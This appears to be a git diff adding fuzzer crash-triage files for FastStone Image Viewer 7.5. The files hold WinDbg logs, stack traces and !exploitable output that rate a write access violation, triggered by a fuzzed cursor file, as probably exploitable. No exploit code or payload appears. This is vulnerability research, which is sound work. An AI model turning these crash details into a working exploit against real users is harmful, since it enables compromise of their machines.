Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x4D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x4D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(4d0.480): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0fd2afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.62612e+025 -1.12466e+035 1.51057e+031 3.80787e-029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032a000 f90a9d53 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/13760/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..37750ba --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b8c.dc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0f6f6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.#QNAN 3.19256e-005 -2.71259e-007 -1.2645e+020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d4000 b737469a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..37750ba --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll 